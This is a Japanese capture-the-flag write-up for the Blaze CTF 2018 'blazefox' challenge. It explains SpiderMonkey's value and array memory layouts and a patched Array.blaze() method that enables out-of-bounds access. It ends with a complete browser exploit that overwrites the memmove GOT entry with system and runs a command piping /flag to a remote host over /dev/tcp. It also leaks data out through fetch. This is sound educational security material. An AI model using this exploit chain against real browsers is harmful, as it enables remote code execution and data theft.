Blaze CTF 2018 - blazefox writeup
*CTFと同時開催だったBlaze CTF 2018の問題を覗いてみたら、Firefoxを題材としたpwnがあったのでチャレンジしてみました。
(Blaze CTFは「DEFCON CTFの運営になったよ!」と大嘘言ったりやたら420という数字が好きだったりと運営が若干ユニーク()ではありますが、pwn/revの問題は面白いのでバイナリ勢にはお勧めしたいCTFです)
解いてみてSpiderMonkeyのpwnの入門にとても良かったので、writeupを置いておきます(`・ω・´)
blazefox (pwn 420)
SpiderMonkeyのオブジェクトのデータ構造
問題に入る前に、まずはSpiderMonkeyのデータ構造まわりについて軽く触れておく。
JS::Value
SpiderMonkeyではJavaScriptの値をJS::Value
という64bit値で扱う。
64bit/little endianな環境だとこんな感じの定義になっている。
// https://hg.mozilla.org/mozilla-central/file/ee6283795f41/js/public/Value.h#l276 union Value { uint64_t asBits_; double asDouble_; struct { uint64_t payload47_ : 47; JSValueTag tag_ : 17; } debugView_; struct { // 特殊な値用 union { int32_t i32_; uint32_t u32_; JSWhyMagic why_; } payload_; } s_; }
// https://hg.mozilla.org/mozilla-central/file/ee6283795f41/js/public/Value.h#l93 JS_ENUM_HEADER(JSValueTag, uint32_t) { JSVAL_TAG_MAX_DOUBLE = 0x1FFF0, JSVAL_TAG_INT32 = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_INT32, JSVAL_TAG_UNDEFINED = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_UNDEFINED, JSVAL_TAG_NULL = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_NULL, JSVAL_TAG_BOOLEAN = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_BOOLEAN, JSVAL_TAG_MAGIC = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_MAGIC, JSVAL_TAG_STRING = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_STRING, JSVAL_TAG_SYMBOL = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_SYMBOL, JSVAL_TAG_PRIVATE_GCTHING = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_PRIVATE_GCTHING, JSVAL_TAG_OBJECT = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_OBJECT } JS_ENUM_FOOTER(JSValueTag);
debugView_
やJSValueTag
を見れば分かるように、JS::Value
はJavaScriptの値を以下のように表現している。
(32bitな環境だと少し違う形になる。詳しくはPhrackのSpiderMonkey回等を参照)
- double値はそのまま格納
- それ以外(符号付き32bit整数値、文字列、Object等)は下位47bitに値やポインタを格納し、上位17bitにデータの型を表すタグを格納
- タグがついた値はdoubleだとNaNになるため、ある
JS::Value
がdouble値なのかtagged valueなのかわからん😇ということは起きない
- タグがついた値はdoubleだとNaNになるため、ある
例えば、
a = [0x13371337, "hogehoge", -1.1885960025192367e+148]
を実行した後にaの実体を探したい場合、0x13371337 | (0x1fff1 << 47)
(0x1fff1はJSVAL_TAG_INT32
)つまり0xfff8800013371337を探せば良いということになる。
gdb-peda$ find 0xfff8800013371337 Searching for '0xfff8800013371337' in: None ranges Found 1 results, display max 1 items: mapped : 0x7fa9f968b0d0 --> 0xfff8800013371337 gdb-peda$ x/10gx 0x7fa9f968b0d0 0x7fa9f968b0d0: 0xfff8800013371337 0xfffb7fa9f969df00 0x7fa9f968b0e0: 0xdeadbeeffeedface 0x0000000000000000 0x7fa9f968b0f0: 0x0000000000000000 0x0000000000000000 0x7fa9f968b100: 0x0000000000000000 0x0000000000000000 0x7fa9f968b110: 0x0000000000000000 0x0000000000000000 gdb-peda$ p (JS::Value)0xfffb7fa9f969df00 $1 = $JS::Value("hogehoge")
ArrayObject
ここからSpiderMonkeyでのexploitに使えそうなオブジェクトのレイアウトを見ていく。
まずは今回の主役であるArrayObject
から。
a = [0x13371337, [0x13371338, 0x13371339, 0x1337133a]]
gdb-peda$ find 0xfff8800013371337 Searching for '0xfff8800013371337' in: None ranges Found 1 results, display max 1 items: mapped : 0x7f13f148c0b0 --> 0xfff8800013371337 gdb-peda$ x/10gx 0x7f13f148c0b0 0x7f13f148c0b0: 0xfff8800013371337 0xfffe7f13f148b0a0 0x7f13f148c0c0: 0x0000000000000000 0x0000000000000000 0x7f13f148c0d0: 0x0000000000000000 0x0000000000000000 0x7f13f148c0e0: 0x0000000000000000 0x0000000000000000 0x7f13f148c0f0: 0x0000000000000000 0x0000000000000000 gdb-peda$ p (JS::Value)0xfffe7f13f148b0a0 $26 = $JS::Value((JSObject *) 0x7f13f148b0a0 [object Array]) gdb-peda$ x/10gx 0x7f13f148b0a0 0x7f13f148b0a0: 0x00007f13f147d850 0x00007f13f14a4040 0x7f13f148b0b0: 0x0000000000000000 [0x00007f13f148b0d0]->elements_(配列の要素へのポインタ) 0x7f13f148b0c0:[0x0000000300000000 0x0000000300000006]->js::ObjectElements 0x7f13f148b0d0:[0xfff8800013371338 0xfff8800013371339 ->配列の要素 0x7f13f148b0e0: 0xfff880001337133a] 0x0000000000000000
SpiderMonkeyではJavascriptのArray
をjs::ArrayObject
クラスで管理しており、オフセット0x18のelements_
(実際には継承元のjs::NativeObject
クラスのメンバ)に要素の配列へのポインタを格納している。
このelements_
の指すアドレスの手前にある16バイトはjs::ObjectElements
のデータで、配列の長さや容量を保持する。
gdb-peda$ p {js::ObjectElements}0x7f13f148b0c0 $33 = { static NumShiftedElementsBits = 0xb, static MaxShiftedElements = 0x7ff, static NumShiftedElementsShift = 0x15, static FlagsMask = 0x1fffff, flags = 0x0, initializedLength = 0x3, // 何番目の要素まで初期化が済んでいるか // [0, 0, 0]だと3だが、new Array(3)だと0 capacity = 0x6, length = 0x3, static VALUES_PER_HEADER = 0x2 }
js::ObjectElements
のメンバのうち、exploit時に気を遣うべきなのがinitializedLength
で、基本的にはこの値以上のindexを使わなければ面倒に巻き込まれることなく要素の取得・更新ができる。
def get_value(index) if index < self.initializedLength return self.elements_[index] else # do something end end def set_value(index, value) if index < self.initializedLength self.elements_[index] = value else # do something end end
TypedArray
new Int32Array(8)
で作ったTypedArray
はこんな感じ。
gdb-peda$ x/30gx 0x7ffff7e003a0 0x7ffff7e003a0: 0x00007ffff567d9a0 0x00007ffff56a53d0 0x7ffff7e003b0: 0x0000000000000000 0x0000555556606080 0x7ffff7e003c0: 0xfffa000000000000 0xfff8800000000008 0x7ffff7e003d0: 0xfff8800000000000 0x00007ffff7e003e0 0x7ffff7e003e0: 0x4242424241414141 0x0000000000000000 0x7ffff7e003f0: 0x0000000000000000 0x0000000000000000
- オフセット0x18:
emptyElementsHeader
のアドレス。js shellだとPIE baseが、Firefoxだとlibxul.soのアドレスがここから取れる - オフセット0x20:
TypedArray
のコンストラクタにArrayBuffer
を渡した場合はここに入る - オフセット0x28:
TypedArray
の要素数 - オフセット0x38: 要素へのポインタ
blazefox
さて、本題のblazefoxを見ていく。
与えられるパッチはこんな感じ。
diff -r ee6283795f41 js/src/builtin/Array.cpp --- a/js/src/builtin/Array.cpp Sat Apr 07 00:55:15 2018 +0300 +++ b/js/src/builtin/Array.cpp Sun Apr 08 00:01:23 2018 +0000 @@ -192,6 +192,20 @@ return ToLength(cx, value, lengthp); } +static MOZ_ALWAYS_INLINE bool +BlazeSetLengthProperty(JSContext* cx, HandleObject obj, uint64_t length) +{ + if (obj->is<ArrayObject>()) { + obj->as<ArrayObject>().setLengthInt32(length); + obj->as<ArrayObject>().setCapacityInt32(length); + obj->as<ArrayObject>().setInitializedLengthInt32(length); + return true; + } + return false; +} + + + /* * Determine if the id represents an array index. * @@ -1578,6 +1592,23 @@ return DenseElementResult::Success; } +bool js::array_blaze(JSContext* cx, unsigned argc, Value* vp) +{ + CallArgs args = CallArgsFromVp(argc, vp); + RootedObject obj(cx, ToObject(cx, args.thisv())); + if (!obj) + return false; + + if (!BlazeSetLengthProperty(cx, obj, 420)) + return false; + + //uint64_t l = obj.as<ArrayObject>().setLength(cx, 420); + + args.rval().setObject(*obj); + return true; +} + + // ES2017 draft rev 1b0184bc17fc09a8ddcf4aeec9b6d9fcac4eafce // 22.1.3.21 Array.prototype.reverse ( ) bool @@ -3511,6 +3542,8 @@ JS_FN("unshift", array_unshift, 1,0), JS_FNINFO("splice", array_splice, &array_splice_info, 2,0), + JS_FN("blaze", array_blaze, 0,0), + /* Pythonic sequence methods. */ JS_SELF_HOSTED_FN("concat", "ArrayConcat", 1,0), JS_INLINABLE_FN("slice", array_slice, 2,0, ArraySlice), // (snip)
Arrayにblaze
メソッドが追加されており、このメソッドを呼ぶと配列の長さに関わるメンバが420になる。
つまり、OOB(Out-of-bounds) read/writeが可能になる。
js> a = [114514] [114514] js> a.blaze() [114514, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] js> a.length 420
配列を2つ作った後に1番目をblazeしてみると、2番目のArrayObject
が丸々見えている様子が確認できる。
js> a=[0x13371337, 0x13371338] [322376503, 322376504] js> b=[0x13371339, 0x1337133a] [322376505, 322376506] js> a.blaze() [322376503, 322376504, 6.9478441356728e-310, 6.94784414346323e-310, 0, 6.94784413861507e-310, 4.243991582e-314, 4.243991583e-314, 322376505, 322376506, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
SpiderMonkeyのデータ構造を少し調べた上でここまで来れば、あとはやるだけになる。
ArrayObject
の後ろに以下の2つのオブジェクトを配置する- libxul.soのアドレスがリークできそうなもの(今回は
TypedArray
を使用) - arbitrary read/write用の別の
ArrayObject
- libxul.soのアドレスがリークできそうなもの(今回は
- 1.の
ArrayObject
をblazeし、OOB readでlibxul.soのアドレスをリークする - arbitrary read/write用の
ArrayObject
のelements_
をlibxul.soのGOTに向けて、libcのアドレスをリークする - 3.と同様にしてlibxul.soのGOT overwrite(
memmove
→system
) TypedArray
のcopyWithin
メソッドが内部でmemmove
を呼ぶことを利用して任意コマンド実行を行う(参考)
exploitはこんな感じ。
(当初TypedArray
とArrayBuffer
を使ってarbitrary read/writeをしようとしていたがちょっとハマってしまい、急いでArrayObject
用に書き換えたため若干ぐちゃぐちゃになった。気が向いたら書き直したい)
<html> <head> <script src="/exploit.js"></script> </head> </html>
// exploit.js function stop(){ while(true); } function is_remote(){ // return false; return true; } function log(s){ if(is_remote()){ fetch("http://REDACTED/?s=" + encodeURIComponent(s.toString())).catch(()=>{}) }else{ console.log(s); } } function int_to_double(x){ return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0]; } function double_to_int(d){ var a = new Uint32Array(new Float64Array([d]).buffer); return [a[1], a[0]]; } function read_i2(b){ var a = new Uint32Array(b.buffer); return [a[1], a[0]]; } function int_sub(i2, i){ if(i2[1] < 1){ return [i2[0] - 1, i2[1] + (0xffffffff - (i - 1))]; }else{ return [i2[0], i2[1] - i]; } } function int_add(i2, i){ if(i2[1] < 1 || (0xffffffff - (i2[1] - 1)) > i){ return [i2[0], i2[1] + i]; }else{ return [i2[0] + 1, i2[1] - (0xffffffff - (i - 1))]; } } function hex(i2){ return "0x" + ("00000000" + i2[0].toString(16)).slice(-8) + ("00000000" + i2[1].toString(16)).slice(-8); } function pwn(){ var bytearrays = new Array(100); var b = new Uint8Array(32) var a = [0x13371337, b]; var aa = [0x13371338, b]; var i, offset, index, aa_index; var c; for(i = 0; i < 100; i++){ c = new Uint8Array(32); c[7] = 0xff; c[6] = 0xf8; c[5] = 0x80; c[4] = 0x00; c[3] = 0x41; c[2] = 0x41; c[1] = 0x41; c[0] = i; bytearrays[i] = c; } a.blaze() // find Uint8Array var i2_buffer_address, i2_emptyElementsHeader; for(offset = 0; offset < 420 && (!i2_buffer_address || !aa_index); offset++){ if(Number.isInteger(a[offset]) && (a[offset] & 0xffffff00) == 0x41414100){ index = a[offset] & 0xff; i2_buffer_address = double_to_int(a[offset - 1]); i2_emptyElementsHeader = double_to_int(a[offset - 5]); }else if(Number.isInteger(a[offset]) && a[offset] == 0x13371338){ aa_index = offset; } } if(i2_buffer_address === undefined){ log("not found"); return; } var i2_jsbase = int_sub(i2_emptyElementsHeader, is_remote() ? 0x6f95da0 : 0x10b2080); var i2_got_memmove = int_add(i2_jsbase, is_remote() ? 0x818b220 : 0x20e59d8); var i2_got_stdout = int_add(i2_jsbase, is_remote() ? 0x8189d10 : 0x20e5930); log("buffer address = " + hex(i2_buffer_address)); log("emptyElementsHeader = " + hex(i2_emptyElementsHeader)); log("base = " + hex(i2_jsbase)); /* leak libc base */ // change buffer pointer a[aa_index - 3] = int_to_double(i2_got_stdout); var i2_stdout = double_to_int(aa[0]); log("stdout="+hex(i2_stdout)); var i2_libc_base = int_sub(i2_stdout, is_remote() ? 0x3c5708 : 0x3db808); log("libc base = " + hex(i2_libc_base)); var target = new Uint8Array(100); var cmd = "bash -c 'cat /flag > /dev/tcp/REDACTED/31337'"; var j; for(j = 0; j < cmd.length; j++){ target[j] = cmd.charCodeAt(j); } /* overwrite got */ var i2_system = int_add(i2_libc_base, is_remote() ? 0x45390 : 0x47dc0) a[aa_index - 3] = int_to_double(i2_got_memmove) aa.blaze(); aa[0] = int_to_double(i2_system); /* invoke system */ target.copyWithin(0, 1); } pwn(); log("done"); // stop();